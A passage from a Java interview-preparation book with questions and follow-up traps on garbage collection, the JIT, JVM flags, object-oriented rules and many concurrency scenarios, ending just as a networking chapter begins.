#text-blocks #java15

Q39 How does an object become eligible for garbage collection? BASIC

When it is no longer reachable from any GC root (thread stacks, static fields, JNI references, active class loaders). The GC traces reachability; it does not count references.

- Cyclic references among unreachable objects are collected.
- `System.gc()` is only a hint.

FOLLOW-UP TRAPS

- **Does setting a local variable to `null` help?** Rarely; the JIT already treats a variable as dead after its last use.
- **Can an eligible object be resurrected?** Via `finalize` in old code; finalization is deprecated for removal (Java 18).

#gc #reachability

Q40 What are the common garbage collectors and their defaults? INTERMEDIATE

Serial (single thread), Parallel (throughput), G1 (balanced, default since Java 9 on server-class machines), ZGC and Shenandoah (low pause, concurrent compaction).

- Select with `-XX:+UseSerialGC`, `-XX:+UseParallelGC`, `-XX:+UseG1GC`, `-XX:+UseZGC`.
- Generational ZGC arrived in Java 21 (`-XX:+ZGenerational`, default in 23).
- Java 8 default is Parallel GC.

FOLLOW-UP TRAPS

- **Which collector for tiny containers?** Serial; the JVM picks it when fewer than 2 CPUs or under ~1792 MB are available.
- **Is lower pause always better?** No, concurrent collectors cost throughput and CPU.

#gc #g1 #zgc

Q41 What is a stop-the-world pause and what are GC roots? INTERMEDIATE

A stop-the-world pause halts all application threads at a safepoint so the GC can work with a consistent heap. GC roots are the starting points for tracing: local variables on thread stacks, static fields, JNI handles, and live class loaders.

- Concurrent collectors shrink pauses but still need short pauses for root scanning.
- Time-to-safepoint can be long when a thread is in a counted loop.

FOLLOW-UP TRAPS

- **Does a minor GC stop the world?** Yes, in all generational collectors young collections pause the application.
- **Are pauses proportional to heap size?** For ZGC and Shenandoah no; for Parallel GC full collections yes.

#gc #safepoint

Q42 What are strong, soft, weak and phantom references? ADVANCED

Strong references block collection. Soft references are cleared under memory pressure (caches), weak ones at the next GC when only weakly reachable (`WeakHashMap`), phantom ones are enqueued after finalization and used for cleanup via `Cleaner`.

FOLLOW-UP TRAPS

- **Is `WeakHashMap` safe if the value references the key?** No, the key stays strongly reachable via the value and the entry never clears.
- **Why prefer `Cleaner` over `finalize`?** Finalizers are unpredictable, slow and deprecated for removal.

#references #gc

Q43 How does the JIT compiler work in HotSpot? INTERMEDIATE

The JVM starts by interpreting bytecode, profiles invocation and loop counts, and compiles hot methods to native code. Tiered compilation uses C1 (fast, light optimization) first and C2 (aggressive, profile-guided) for the hottest code.

- Compiled code lives in the code cache.
- Deoptimization falls back to the interpreter when an assumption (e.g., a monomorphic call site) breaks.
- `-XX:+PrintCompilation` shows compile events.

FOLLOW-UP TRAPS

- **Why is the first run of a benchmark slower?** Warm-up: code is still interpreted or C1-compiled.
- **Can the JIT make code faster than C++?** In some cases, thanks to runtime profile-based speculation.

#jit #performance

Q44 Which optimizations does the JIT perform? ADVANCED

Method inlining, escape analysis (scalar replacement, lock elision), loop unrolling, dead code elimination, range-check elimination and devirtualization.

- Inlining is limited by bytecode size (`MaxInlineSize`, `FreqInlineSize`).
- Escape analysis can avoid heap allocation for objects that do not leave a method.

FOLLOW-UP TRAPS

- **Does escape analysis put objects on the stack?** Not literally; it replaces the object by its fields in registers.
- **Does dead-code elimination break naive microbenchmarks?** Yes; unused results get removed, so use JMH `Blackhole`.

#jit #escape-analysis

Q45 What are the key JVM memory flags? BASIC

`-Xms` initial heap, `-Xmx` max heap, `-Xss` thread stack size, `-XX:MaxMetaspaceSize` metaspace cap, `-XX:MaxDirectMemorySize` direct buffers.

- Setting `-Xms` equal to `-Xmx` avoids resize pauses.
- In containers use `-XX:MaxRAMPercentage` (default 25%).

FOLLOW-UP TRAPS

- **Why does the process use more RSS than `-Xmx`?** Metaspace, stacks, code cache, direct buffers and GC structures.
- **Is the JVM container aware?** Yes since Java 10 (backported to 8u191).

#jvm-flags #memory

Q46 How does method overloading resolution work versus overriding? INTERMEDIATE

Overloads are chosen at compile time using the static argument types; overrides are dispatched at runtime using the object's actual class.

- Overload phases: exact/widening, then boxing, then varargs.
- Overriding requires the same signature, a compatible return type (covariant) and no weaker access.

FOLLOW-UP TRAPS

- **Are fields polymorphic?** No, field access uses the declared type.
- **Can an override throw broader checked exceptions?** No, only the same, narrower or unchecked ones.

#overloading #overriding #polymorphism

Q47 What are the access modifiers in Java? BASIC

`private` (class), package-private (default, same package), `protected` (package plus subclasses), `public` (everywhere). With modules (Java 9) a package must also be `exports`ed.

FOLLOW-UP TRAPS

- **Can a subclass in another package access a protected member via a parent-typed reference?** No, only via its own type or subtype.
- **Can top-level classes be private?** No, only public or package-private.

#access-modifiers #oop

Q48 How do varargs work? BASIC

`void f(String... a)` is compiled to `String[] a`; the compiler packs the arguments into an array. It must be the last parameter, and only one is allowed.

FOLLOW-UP TRAPS

- **What does `f()` pass?** An empty array, not null.
- **Which overload wins between `f(int)` and `f(int...)`?** The fixed-arity one; varargs is the last phase.

#varargs #methods

Q49 What do interface default, static and private methods add? INTERMEDIATE

Default methods (Java 8) let interfaces evolve without breaking implementors; static methods hold utilities; private methods (Java 9) share code between defaults. Interfaces still cannot hold instance state.

- If two interfaces supply the same default, the class must override and may pick one via `A.super.m()`.
- A class method always wins over an interface default.

FOLLOW-UP TRAPS

- **Is an interface with defaults an abstract class?** No: no constructors, no instance fields, multiple inheritance of behaviour only.
- **Can a default method override `Object.equals`?** No, it is a compile error.

#interfaces #java8

Q50 What is the `equals`/`hashCode` contract? INTERMEDIATE

Equal objects must have equal hash codes; `equals` must be reflexive, symmetric, transitive, consistent and false for `null`. Unequal objects may share a hash code.

- Override both together; hash collections break otherwise.
- Do not use mutable fields in `hashCode` for objects stored in hash sets/maps.

FOLLOW-UP TRAPS

- **What if only `equals` is overridden?** `HashMap` lookups likely miss, because the identity hashes differ.
- **What does `Objects.hash(a, b)` cost?** It allocates a varargs array; hand-write for hot paths.

#equals #hashcode

Q51 **What are pattern matching for `instanceof` and sealed types?** INTERMEDIATE

`if (o instanceof String s)` tests and binds in one step (Java 16). `sealed` classes/interfaces (Java 17) restrict permitted subtypes, which enables exhaustive `switch` without `default`.

```
sealed interface Shape permits Circle, Square {}
record Circle(double r) implements Shape {}
record Square(double a) implements Shape {}
double area(Shape s) {
    return switch (s) {
        case Circle c -> Math.PI * c.r() * c.r();
        case Square q -> q.a() * q.a();
    };
}
```

(The `switch` pattern form is final in Java 21.)

FOLLOW-UP TRAPS

- **What is the scope of the binding `s`?** Only where the match is definitely true, e.g. `if (!(o instanceof String s)) return;` makes `s` available after.
- **Does `null instanceof String s` match?** No, `instanceof` is false for null.

#pattern-matching #sealed #java17

Q52 **What are the methods of `java.lang.Object` and which ones are commonly overridden?** BASIC

`equals`, `hashCode`, `toString`, `getClass`, `clone`, `finalize` (deprecated), `wait`, `notify`, `notifyAll`. Typically `equals`, `hashCode` and `toString` are overridden.

- `getClass`, `wait`, `notify` and `notifyAll` are final.
- `wait` / `notify` require holding the object's monitor.

FOLLOW-UP TRAPS

- **Why is `clone` considered flawed?** It is protected, shallow, needs `Cloneable` (a marker without the method) and bypasses constructors; prefer copy constructors.
- **What does default `toString` print?** `ClassName@hexHashCode`.

#object #methods

Scenarios

Scenarios

Q53 **1000 threads each run `counter++` 1000 times on a plain `int`. What is the result?** BASIC

Usually less than 1,000,000 and different on each run. `counter++` is read, add, write; concurrent threads overwrite each other's updates. Fix with `AtomicInteger` / `LongAdder` or `synchronized`.

FOLLOW-UP TRAPS

- **Does making `counter` volatile fix it?** No, visibility is fixed but the increment is still not atomic.

#race-condition #counter

Q54 A worker loops on `while (!stop) { ... }` with a plain boolean `stop`. Main sets `stop = true`. What happens? BASIC

The worker may never exit: with no happens-before edge the JIT can hoist the read of `stop` out of the loop. Declare `stop` `volatile` (or use interruption).

FOLLOW-UP TRAPS

- **Why might it work with a `System.out.println` in the loop?** `println` synchronizes, creating happens-before edges by accident.

#volatile #visibility

Q55 Two threads call `transfer(a, b)` and `transfer(b, a)` with nested `synchronized`. What goes wrong and how do you fix it? INTERMEDIATE

Thread 1 holds `a` waits for `b`; thread 2 holds `b` waits for `a`: deadlock. Always acquire in a consistent global order, e.g. by account id.

```
Account first = a.id < b.id ? a : b, second = first == a ? b : a;
synchronized (first) { synchronized (second) { move(a, b, amt); } }
```

FOLLOW-UP TRAPS

- **What if ids tie?** Use a tie-breaker lock or `System.identityHashCode` plus a global tie lock.

#deadlock #lock-ordering

Q56 How do you detect a deadlock in a running JVM? INTERMEDIATE

Take a thread dump with `jstack <pid>` (or `jcmd <pid> Thread.print`, or `kill -3`). The dump ends with `Found one Java-level deadlock:` and lists the cycle. Programmatically use `ThreadMXBean.findDeadlockedThreads()`.

FOLLOW-UP TRAPS

- **Does it detect deadlocks involving `ReentrantLock`?** `findDeadlockedThreads` does (ownable synchronizers); `findMonitorDeadlockedThreads` only monitors.
- **Does it detect livelock?** No.

#deadlock #thread-dump

Q57 How would you read a thread dump to find why a service is hanging? INTERMEDIATE

Take 3 dumps 5-10 s apart and compare. Look for:

- Many threads `BLOCKED` on the same monitor (`waiting to lock <0x...>`) and who owns it.
- Threads in `WAITING` on a pool/queue or connection pool (`HikariPool.getConnection`).
- A thread `RUNNABLE` in the same frame across dumps (spinning/infinite loop).
- Pool threads all stuck in one remote call.

FOLLOW-UP TRAPS

- **Are `RUNNABLE` threads always using CPU?** No; they may be in native socket reads.
- **How to map a hot OS thread to Java?** `top -H`, convert TID to hex, match `nid=0x...`.

#thread-dump #debugging

Q58 CPU is at 100%. How do you find the culprit thread? ADVANCED

Run `top -H -p <pid>` to find the hottest thread id, convert to hex, then `jstack <pid> | grep -A20 nid=0x<hex>`. Check for tight loops, regex backtracking, a spinning CAS loop, or GC threads (name `GC Thread`). Confirm with a profiler (async-profiler/JFR).

FOLLOW-UP TRAPS

- **What if the hot thread is a GC thread?** The problem is heap pressure, not application code.

#debugging #cpu #thread-dump

Q59 **A fixed pool of 10 threads has tasks that submit subtasks to the same pool and wait for them. What happens?** INTERMEDIATE

Thread-starvation deadlock: all 10 workers can be occupied by parents blocking on child futures, while the children sit in the queue forever. Use separate pools, async composition, or `ForkJoinPool`.

FOLLOW-UP TRAPS

- **Would a cached pool avoid it?** Yes, but unbounded thread growth is the cost.

#thread-pool #deadlock

Q60 **With `core=2, max=4, queue=ArrayBlockingQueue(2)`, 7 tasks of long duration are submitted at once. What happens?** INTERMEDIATE

Tasks 1-2 start core threads, 3-4 go to the queue, 5-6 create extra threads (max 4), task 7 is **rejected** (`AbortPolicy` throws `RejectedExecutionException`).

FOLLOW-UP TRAPS

- **What if the queue were unbounded?** Only 2 threads ever run; 5 tasks queue.
- **What if it were a `SynchronousQueue`?** Tasks 1-4 run, 5-7 rejected.

#threadpoolexecutor #rejection

Q61 **Under overload your service must slow producers rather than lose requests. Which rejection policy?** INTERMEDIATE

`CallerRunsPolicy`: the submitting thread executes the task itself, so it cannot submit more until done, throttling intake naturally. Pair with a bounded queue. For HTTP, prefer returning 429/503 via `AbortPolicy` if the caller thread is a request thread you cannot afford to block.

FOLLOW-UP TRAPS

- **Downside?** Task order is lost and the caller thread may do slow work (e.g. an event-loop thread).

#back-pressure #rejection

Q62 **A scheduled job stops running after one failure. Why?** BASIC

`ScheduledExecutorService` suppresses subsequent executions if any run throws, and the exception is stored in the `Future` unseen. Wrap the task body in try/catch and log.

FOLLOW-UP TRAPS

- **What does Spring `@Scheduled` do?** It catches and logs errors, continuing the schedule.

#scheduler #exceptions

Q63 **`CompletableFuture.supplyAsync(() -> blockingHttpCall())` is used heavily and the whole app slows down. Why?** INTERMEDIATE

Blocking tasks occupy the small common pool (cores - 1 threads), starving parallel streams and other async stages. Supply a dedicated bounded executor, or use virtual threads for blocking calls.

FOLLOW-UP TRAPS

- **Does wrapping in `ManagedBlocker` help?** It lets the pool compensate with extra threads, but a dedicated executor is simpler.

#completablefuture #forkjoinpool

Q64 **What is printed?** `CompletableFuture.supplyAsync(() -> { throw new RuntimeException("x"); }).thenApply(v -> "ok").exceptionally(ex -> ex.getClass().getSimpleName() + ":" + ex.getMessage()).join()` ADVANCED

`CompletionException:java.lang.RuntimeException: x`. The failure passes through `thenApply` and arrives at `exceptionally` wrapped in `CompletionException` because it came from an upstream stage. If `exceptionally` were attached directly to the failing stage, you would see the raw `RuntimeException` ("x").

> **FOLLOW-UP TRAPS**
> - **How to unwrap?** Check `ex.getCause()` when `ex instanceof CompletionException`.

#completablefuture #exceptions

Q65 **You need results of 3 independent remote calls with a 2 s overall timeout. How?** INTERMEDIATE

Start all three, then combine and apply `orTimeout` (Java 9+).

```
var a = CompletableFuture.supplyAsync(this::callA, pool);
var b = CompletableFuture.supplyAsync(this::callB, pool);
var c = CompletableFuture.supplyAsync(this::callC, pool);
CompletableFuture.allOf(a, b, c).orTimeout(2, TimeUnit.SECONDS).join();
```

`completeOnTimeout(default, ...)` supplies a fallback instead of failing.

> **FOLLOW-UP TRAPS**
> - **Does the timeout cancel the underlying calls?** No; the tasks keep running.
> - **Does `allOf` give results?** It returns `Void`; read from each future.

#completablefuture #timeout

Q66 **Two threads run `if (!map.containsKey(k)) map.put(k, compute(k))` on a `ConcurrentHashMap`. What is wrong?** INTERMEDIATE

Check-then-act race: both can see absence and both compute/put, the last write wins, and `compute` runs twice. Use `computeIfAbsent(k, this::compute)`, which runs the function at most once per absent key.

> **FOLLOW-UP TRAPS**
> - **Does `computeIfAbsent` with a slow function hurt?** It holds the bin lock, blocking other writers to that bin.

#concurrenthashmap #race-condition

Q67 **What happens when a `computeIfAbsent` mapping function updates the same `ConcurrentHashMap` (e.g. recursive Fibonacci memoization)?** ADVANCED

In Java 8 it can livelock/hang (infinite loop on a reserved bin); since Java 9 it throws `IllegalStateException: Recursive update` when detected. `HashMap` throws `ConcurrentModificationException` (Java 9+). Compute outside the lambda or use a loop with `get` then `putIfAbsent`.

> **FOLLOW-UP TRAPS**
> - **Is detection guaranteed?** No, it is best-effort.

#concurrenthashmap #computeifabsent

Q68 **A `HashMap` shared by threads gets corrupted. What symptoms can occur?** BASIC

Lost updates, wrong `size`, `null` for present keys, and in Java 7 an infinite loop during resize (circular bucket list). Java 8 removed the cycle risk, but the map is still unsafe. Use `ConcurrentHashMap`.

> **FOLLOW-UP TRAPS**
> - **Is `Hashtable` the fix?** It is thread-safe per call but single-lock and obsolete; compound ops still race.

#hashmap #thread-safety

Q69 **You iterate a `Collections.synchronizedList` while another thread adds. What happens?** INTERMEDIATE

`ConcurrentModificationException` (best-effort) because iteration is not atomic. Wrap iteration in `synchronized (list) { ... }`, or use `CopyOnWriteArrayList` (snapshot iteration).

> **FOLLOW-UP TRAPS**
> - **Does the for-each over the list use a lock?** No.

#synchronized-collections #cme

Q70 **A listener list with frequent adds (1000/s) and iteration on each event uses `CopyOnWriteArrayList`. Issue?** INTERMEDIATE

Each add copies the array: O(n) allocation and GC churn, and writes block each other. Choose `ConcurrentLinkedQueue`, a `ConcurrentHashMap.newKeySet()`, or batch the changes.

> **FOLLOW-UP TRAPS**
> - **Would iterators see new listeners mid-iteration?** No, only the snapshot.

#copyonwritearraylist #performance

Q71 **A consumer thread calls `queue.take()` and the app cannot shut down. Why and how to fix?** INTERMEDIATE

The consumer is parked forever on an empty queue (non-daemon thread). Interrupt it (`shutdownNow()` or `thread.interrupt()`) and treat `InterruptedException` as the exit signal, or enqueue poison pills.

> **FOLLOW-UP TRAPS**
> - **What if you swallow `InterruptedException` in a loop?** The thread never stops; restore the flag or exit.

#blockingqueue #shutdown

Q72 **A bounded queue is full and producers call `put()`. What are the options to avoid blocking forever?** BASIC

Use `offer(e, timeout, unit)` to wait a limited time and handle failure (retry, drop, spill to disk, return an error), or `offer(e)` for non-blocking. Choose based on whether data loss or latency is worse.

> **FOLLOW-UP TRAPS**
> - **What does `add()` do on a full queue?** Throws `IllegalStateException`.

#blockingqueue #timeout

Q73 **You need to start 5 services in parallel and block `main` until all are ready. Which tool?** BASIC

`CountDownLatch(5)`; each service calls `countDown()` in `finally`, `main` calls `await()` (ideally with timeout).

> **FOLLOW-UP TRAPS**
> - **What if one service fails?** Without `finally`, `await()` never returns; use a timeout and check status.

#countdownlatch

Q74 **Worker threads in a simulation need to sync at the end of each round. Which primitive?** INTERMEDIATE

`CyclicBarrier(parties, mergeAction)`: all wait at `await()`, the barrier action merges round results, then the barrier resets for the next round. If one worker dies, others get `BrokenBarrierException`, so handle that.

FOLLOW-UP TRAPS

- **What if you use `CountDownLatch`?** You would need a new latch per round.

#cyclicbarrier

Q75 You must limit calls to a rate-limited API to 5 concurrent. How? BASIC

`Semaphore(5)`; `acquire()` before the call and `release()` in `finally`. This limits **concurrency**, not rate per second; for rate use a token bucket (e.g. Guava `RateLimiter`).

FOLLOW-UP TRAPS

- **Concurrency limit vs rate limit?** They differ: 5 concurrent slow calls can be well under the rate cap.

#semaphore

Q76 A `ThreadLocal<SimpleDateFormat>` is used in a Tomcat app and memory grows after redeploys. Why? ADVANCED

Pool threads outlive the webapp; their `ThreadLocalMap` values reference classes loaded by the old classloader, pinning it and all its static data (Metaspace growth). Call `remove()` in `finally`, avoid thread locals for such objects (use immutable `DateTimeFormatter`), and clean up in a context-destroy hook.

FOLLOW-UP TRAPS

- **Does Tomcat warn?** Yes, it logs "created a ThreadLocal ... but failed to remove it" at stop.

#threadlocal #classloader-leak

Q77 A request filter stores user context in a `ThreadLocal`, then async work runs on another pool. What is lost? INTERMEDIATE

The new pool thread has no (or stale) value from the previous request. Capture the context and pass it explicitly or decorate the executor (Spring `TaskDecorator`, MDC copy, Micrometer context-propagation). Always clear in `finally` so pooled threads do not leak a previous user's data.

FOLLOW-UP TRAPS

- **Does `InheritableThreadLocal` fix it?** Not with pools; copying happens only at thread creation.

#threadlocal #context-propagation

Q78 Check-then-act on a lazily initialized field: `if (cache == null) cache = load();`. What can go wrong and how do you fix? BASIC

Two threads can both load; another can see a partially built object when unsafely published. Fix with a holder class, `synchronized` accessor, volatile DCL, or `Supplier` memoization with `AtomicReference`.

FOLLOW-UP TRAPS

- **Is a duplicate load harmful?** Only if loading has side effects or cost; the unsafe publication is the real hazard.

#lazy-init #race-condition

Q79 What is the output for a `StampedLock` optimistic read when a writer interleaves? ADVANCED

`validate(stamp)` returns `false` if any write lock was acquired since `tryOptimisticRead()`; values read in between may be inconsistent (e.g. new `x`, old `y`) and must be discarded. The reader falls back to `readLock()` and rereads. Never act on optimistic values before validating.

FOLLOW-UP TRAPS

- **Can you call methods on the read values before validation?** Only with care; they may violate invariants (e.g. divide by zero).

#stampedlock #optimistic

Q80 **A read-heavy cache uses `ReentrantReadWriteLock`; a reader tries to upgrade to write while holding read. What happens?** INTERMEDIATE

It deadlocks: the write lock waits for all readers (including itself) to release. Release the read lock, acquire the write lock, and recheck the condition. Downgrading (write then read then release write) is permitted.

> **FOLLOW-UP TRAPS**
> - **Why recheck after reacquiring?** Another writer may have changed state in the gap.

#readwritelock #deadlock

Q81 **`lock.lock()` is called but `unlock()` is skipped on an exception path. Consequence?** BASIC

The lock stays held forever, so other threads block indefinitely (unlike `synchronized`, which auto-releases). Always use `try/finally`. Place `lock()` before `try`, so a failed acquire does not trigger `unlock()`.

> **FOLLOW-UP TRAPS**
> - **What if `lock()` is inside `try`?** A failed `lock()` leads to `unlock()` by a non-owner, throwing `IllegalMonitorStateException` and masking the original error.

#reentrantlock #bug

Q82 **Two threads each try `tryLock()` on two locks in opposite order and release on failure, then retry immediately. Outcome?** ADVANCED

Possible **livelock**: both keep acquiring one lock, failing the second, releasing and retrying in lockstep. Add randomized back-off, a timeout, or a consistent lock order.

> **FOLLOW-UP TRAPS**
> - **Is it better than deadlock?** It avoids blocking but can burn CPU without progress.

#livelock #trylock

Q83 **A starvation scenario: a high-volume task type floods a shared pool and a critical task never runs. How do you fix it?** INTERMEDIATE

Isolate with separate pools (**bulkheads**) per workload, or use a `PriorityBlockingQueue` with bounded size, and reserve capacity for critical tasks. Add queue-length and wait-time metrics.

> **FOLLOW-UP TRAPS**
> - **Does thread priority fix it?** Rarely; OS-dependent and often ignored.

#starvation #bulkhead

Q84 **What does this print? `synchronized` method `a()` calls `synchronized` method `b()` on the same object.** BASIC

It works without deadlock: monitors are reentrant, and the owning thread's hold count increments. The monitor is released only when the hold count returns to zero.

> **FOLLOW-UP TRAPS**
> - **Is a `Semaphore(1)` equivalent?** No, it is not reentrant and would self-deadlock.

#synchronized #reentrancy

Q85 **Static `synchronized` method and instance `synchronized` method run on two threads. Do they block each other?** BASIC

No. The static method locks `Foo.class`, the instance method locks `this`; they are different monitors, so they can run concurrently and do not protect shared state with each other.

> **FOLLOW-UP TRAPS**
> - **How to protect a static field from instance methods?** `synchronized (Foo.class)` or a private static lock.

#synchronized #class-lock

Q86 **`synchronized (this)` vs a private lock object: which is safer?** INTERMEDIATE

A private final lock object. `this` is publicly lockable, so outside code (or a subclass) can interfere or cause deadlocks. Never lock on a `String` literal, boxed `Integer`, or a reassigned field either.

> **FOLLOW-UP TRAPS**
> - **What happens locking on `Integer` from `valueOf(1)` in two unrelated classes?** They share the cached instance and block each other unexpectedly.

#synchronized #encapsulation

Q87 **A `final` field object is published through a data race. What can the reader see?** ADVANCED

If the class is correctly constructed (no `this` escape), the reader sees the final fields correctly initialized. Non-final fields might be seen as defaults. If the object is a mutable one with non-final state, publish it safely: volatile field, `synchronized`, concurrent collection, or static initializer.

> **FOLLOW-UP TRAPS**
> - **Does a `final Map` field guarantee contents visible after later `put`s?** No, only up to the end of construction.

#safe-publication #final

Q88 **Walk through what happens: `volatile int a; int b;` Thread 1: `b = 1; a = 2;` Thread 2: `if (a == 2) print(b)`. What can print?** ADVANCED

If thread 2 sees `a == 2`, it prints `1`. The volatile write happens-before the read, and `b = 1` precedes it in program order, so by transitivity `b = 1` is visible (piggybacking). If `a` is not volatile, it may print `0`.

> **FOLLOW-UP TRAPS**
> - **What if the writes were reversed (`a = 2; b = 1;`)?** `b` could print 0; no ordering for the later write.

#happens-before #volatile

Q89 **Why does `i++` on `AtomicInteger` via `set(get()+1)` fail while `incrementAndGet()` works?** BASIC

`get` then `set` is two operations, so updates interleave and are lost. `incrementAndGet` is one atomic CAS loop. For custom updates use `updateAndGet` / `accumulateAndGet` with a side-effect-free function (it may be retried).

> **FOLLOW-UP TRAPS**
> - **Why must the function be side-effect free?** Because a failed CAS reruns it.

#atomics #race-condition

Q90 Implement a lock-free stack with `AtomicReference`. What hazards exist? ADVANCED

Push/pop via CAS on the head.

```
class Stack<T> {
    private record Node<T>(T v, Node<T> next) {}
    private final AtomicReference<Node<T>> head = new AtomicReference<>();
    void push(T v) {
        Node<T> h, n;
        do { h = head.get(); n = new Node<>(v, h); } while (!head.compareAndSet(h, n));
    }
    T pop() {
        Node<T> h;
        do { h = head.get(); if (h == null) return null; } while (!head.compareAndSet(h,
h.next()));
        return h.v();
    }
}
```

In Java, ABA is mostly neutralized by garbage collection since nodes are freshly allocated and not reused, but reusing nodes (pooling) reintroduces it.

FOLLOW-UP TRAPS

- **Is it wait-free?** No, lock-free: some thread progresses, but one can retry indefinitely.

#cas #lock-free

Q91 A `LongAdder` counter is read for a billing total while updates continue. Is that OK? INTERMEDIATE

No. `sum()` is not an atomic snapshot, and you cannot get exact point-in-time totals. For exact figures, use `AtomicLong` or a lock, or accept approximate values for metrics only (`sumThenReset` is also racy).

FOLLOW-UP TRAPS

- **When is it ideal?** Hot metrics counters where reads are rare.

#longadder #consistency

Q92 `wait()` is called without holding the lock. What happens? BASIC

`IllegalMonitorStateException`. `wait` / `notify` must be invoked inside `synchronized` on the **same** object. Same result when synchronizing on a different object than the one you call `wait` on.

FOLLOW-UP TRAPS

- **Does `Thread.sleep` require a lock?** No.

#wait-notify #exceptions

Q93 A `notify()` is sent before the other thread calls `wait()`. What happens? INTERMEDIATE

Lost notification: the signal is not remembered and the waiter blocks forever. The fix is to guard with a state variable checked in a `while` loop under the same lock, so the waiter sees the condition already true and never waits.

FOLLOW-UP TRAPS

- **`notify` vs `notifyAll` with multiple conditions on one monitor?** Use `notifyAll` (or separate `Condition`s) so the right waiter is woken.

#wait-notify #lost-wakeup

Q94 **Implement a bounded buffer with `wait/notify`. What bug is common?** INTERMEDIATE

Both producers and consumers wait on the same monitor, so `notify()` can wake the wrong kind (a producer waking a producer) and everyone sleeps. Use `notifyAll()`, or `ReentrantLock` with `notFull`/`notEmpty` conditions and `signal()`.

```
lock.lock();
try {
    while (count == items.length) notFull.await();
    items[put] = x; put = (put + 1) % items.length; count++;
    notEmpty.signal();
} finally { lock.unlock(); }
```

FOLLOW-UP TRAPS

- **Why prefer `BlockingQueue`?** It is tested and avoids this entire bug class.

#producer-consumer #wait-notify

Q95 **Design a thread pool for a service making blocking DB calls (8 cores, DB pool of 20). How many threads?** INTERMEDIATE

More threads than 20 gain nothing, since they wait for connections. Size the worker pool at about 20 (or slightly above with a short connection timeout) and bound the queue. CPU count (8) is irrelevant for IO waits, but too many threads add contention and memory. Verify with load tests and queue-wait metrics.

FOLLOW-UP TRAPS

- **What if requests also call a 3rd party API?** Separate pool for it with its own limit.

#pool-sizing #jdbc

Q96 **Compute-bound batch on a 16-core box: 16 threads vs 64 threads?** BASIC

About 16 (or 17). More threads add context switches and cache thrash with no extra throughput for CPU-bound work. For parallel stream or fork/join, the common pool defaults to `cores - 1` workers plus the caller.

FOLLOW-UP TRAPS

- **What about hyperthreading?** Benchmarks decide; logical cores are not equal to physical.

#pool-sizing #cpu-bound

Q97 **`executor.submit(task)` throws `RejectedExecutionException` after shutdown. How do you avoid losing work during graceful shutdown?** INTERMEDIATE

Stop accepting input first, then `shutdown()`, `awaitTermination(timeout)`, and only on timeout `shutdownNow()`, followed by another await.

```
pool.shutdown();
if (!pool.awaitTermination(30, TimeUnit.SECONDS)) {
    pool.shutdownNow();
    pool.awaitTermination(10, TimeUnit.SECONDS);
}
```

FOLLOW-UP TRAPS

- **What does `shutdownNow` return?** The list of tasks that never started.

#shutdown #executorservice

Q98 **A task blocked on `future.get()` hangs forever. How do you prevent it?** BASIC

Use `get(timeout, unit)` and on `TimeoutException` call `future.cancel(true)`. Ensure the task responds to interruption. Add timeouts to the underlying I/O too.

FOLLOW-UP TRAPS

- **Does `cancel(true)` guarantee stopping?** No, the task can ignore interruption.

#future #timeout

Q99 **Compare 10,000 concurrent blocking HTTP calls using a fixed pool of 200 platform threads vs virtual threads.** INTERMEDIATE

With 200 platform threads only 200 calls are in flight, the rest queue, so total time is about `50 x` latency. With virtual threads, all 10,000 blocking calls proceed concurrently with a few carrier threads, giving much higher throughput for I/O-bound work. Remaining limits: downstream capacity, connection pools, memory; use a `Semaphore` to cap concurrency to protected resources.

FOLLOW-UP TRAPS

- **Do virtual threads remove the need for limits?** No, they remove the thread bottleneck, not the downstream one.

#virtual-threads #throughput

Q100 **After migrating to virtual threads, throughput stalls. Possible causes?** ADVANCED

Common causes on Java 21: pinning from blocking inside `synchronized` (JDBC drivers, legacy libs), blocking native calls, a fixed-size pool of connections or a semaphore throttling everything, and `ThreadLocal` heavy caching (millions of copies). Diagnose with JFR event `jdk.VirtualThreadPinned` and `-Djdk.tracePinnedThreads=full`. Fixes: use `ReentrantLock`, upgrade the library, or Java 24+.

FOLLOW-UP TRAPS

- **Is CPU-bound work faster?** No; carriers are limited to core count.

#virtual-threads #pinning

Q101 **A `StructuredTaskScope.ShutdownOnFailure` forks two subtasks and one fails. What happens to the other?** ADVANCED

The scope shuts down: the sibling is interrupted/cancelled, `join()` returns, and `throwIfFailed()` rethrows the first failure wrapped in `ExecutionException`. Accessing `get()` on an unfinished or failed subtask throws `IllegalStateException`. The `try-with-resources` guarantees no subtask outlives the block. Preview API in Java 21, so it requires `--enable-preview`.

FOLLOW-UP TRAPS

- **Which variant returns the first successful result?** `ShutdownOnSuccess`.

#structured-concurrency #cancellation

Q102 **A parallel stream `list.parallelStream().forEach(results::add)` with an `ArrayList` results. What happens?** BASIC

Data race on the unsynchronized `ArrayList`: lost elements, `ArrayIndexOutOfBoundsException`, or nulls. Use `collect(Collectors.toList())` (or `toList()`), which merges per-thread containers safely.

FOLLOW-UP TRAPS

- **Does `Collections.synchronizedList` fix it?** Correct but contended; collectors are better.

#parallel-streams #race-condition

Q103 **A fork/join task calls blocking I/O inside `compute()`. Consequence?** INTERMEDIATE

Workers block instead of stealing, the pool (sized by cores) starves, and throughput drops, especially in the shared common pool, affecting unrelated stream and `CompletableFuture` users. Use a dedicated pool,

`ForkJoinPool.managedBlock`, or non-fork/join executors for I/O.

FOLLOW-UP TRAPS

- **Choosing the threshold?** Too small causes overhead; typically a few thousand elementary ops.

#forkjoin #blocking

Q104 **A heavy-contention log appender with `synchronized` becomes the bottleneck. What are your options?** ADVANCED

Shrink the critical section (format outside the lock), use asynchronous appenders (queue plus one consumer, e.g. Log4j2 with Disruptor / Logback AsyncAppender), stripe locks, or use lock-free structures. Decide the policy on overflow (block, drop, or discard low levels). Confirm with a profiler and lock-contention metrics before and after.

FOLLOW-UP TRAPS

- **Risk of async logging?** Log loss on crash and memory growth if the queue is unbounded.

#contention #design

CORE JAVA · CHAPTER 4

Java Networking

TCP and UDP, blocking sockets, NIO selectors and buffers, Netty, Java 11 HttpClient, HTTP/1.1 vs HTTP/2, TLS, DNS caching, timeouts, pooling, CORS, proxies, WebSockets, backpressure, and debugging hangs, resets and slow calls.

104 questions **24** basic **51** intermediate **29** advanced

Theory

Q1 What is the difference between TCP and UDP? BASIC

TCP is a connection-oriented, reliable, ordered byte stream with flow and congestion control. UDP is connectionless, sends independent datagrams, and gives no delivery, ordering or duplicate protection.

- TCP: three-way handshake, retransmission, no message boundaries.
- UDP: low overhead, preserves datagram boundaries, suited to DNS, metrics, streaming and QUIC (which builds reliability on top).
- Java: `Socket` / `ServerSocket` / `SocketChannel` for TCP, `DatagramSocket` / `DatagramChannel` for UDP.

FOLLOW-UP TRAPS

